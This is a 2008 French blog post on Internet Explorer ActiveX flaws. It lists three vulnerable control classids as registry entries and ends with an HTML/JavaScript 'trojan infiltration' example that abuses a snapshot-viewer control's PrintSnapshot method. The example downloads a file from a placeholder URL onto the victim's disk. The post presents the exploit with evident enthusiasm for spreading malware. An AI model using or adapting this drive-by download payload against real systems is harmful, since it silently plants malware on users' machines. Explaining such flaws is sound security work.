IE - Une menace pour les utilisateurs avec ActiveX

Par FlUxIuS 2008-08-22 { Catégorie : SÃ©curitÃ© }

"Grâce à IE+ActiveX, j'élève des malwares ! Woot woot !"

Déjà plus de 6 ans de patch et activeX est toujours vulnérable sur d'autres formes mais sans compléxités apparentes. Plus qu'une actualité, nous tenterons d'expliquer plus précisement l'exploitation d'une telle faille...

Avant tout, ceci n'est pas une publicité pour quelconques navigateurs (Mais cela peut encore changer :P).

ActiveX est un composant logiciel crée par Microsoft pour son système d'exploitation Windows, afin de permettre le dialogue entre différents programmes.

ActiveX sur la route du WWWeb

Grâce à la balise <object>, il est possible d'exécuter ActiveX depuis une page HTML. Avec cela nous avons trois paramètres utiles :

1. Classid : Id de la class DLL ActiveX
2. Width : Largeur de la fenêtre
3. Height : Hauteur de la fenêtre

Depuis ça création en 1990 et son adaptation à IE, ActiveX se trouve être la porte aux malwares. En effet, l'ouverture que certains DLL créent peuvent faciliter les hackers à installer leurs bijoux technologiques "Serveurs de Sockets -> Trojans".

Bien évidement Microsoft continu désespérement de le patcher pour protéger ses utilisateurs afin de continuer à vendre (sans aucuns doutes) mais rien y fait...

Voici quelques classid vulnérables en actualité :

- [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{F0E42D50-368C-11D0-AD81-00A0C90DC8D9}]
"Compatibility Flags"=dword:00000400
- [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{F0E42D60-368C-11D0-AD81-00A0C90DC8D9}]
"Compatibility Flags"=dword:00000400
- [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{F2175210-368C-11D0-AD81-00A0C90DC8D9}]
"Compatibility Flags"=dword:00000400

Exemple d'infiltration de trojan :

<html>
<body>
  <object classid="clsid:F0E42D50-368C-11D0-AD81-00A0C90DC8D9" id="infiltration"></object>
  <script language="javascript">
    var arbitrary_file = "http://chemin_au_trojan"
    var dest = "C:/Destination"
    infiltration.SnapshotPath = arbitrary_file
    infiltration.CompressedPath = dest
    infiltration.PrintSnapshot(arbitrary_file,dest)
  <script>
</body>
<html>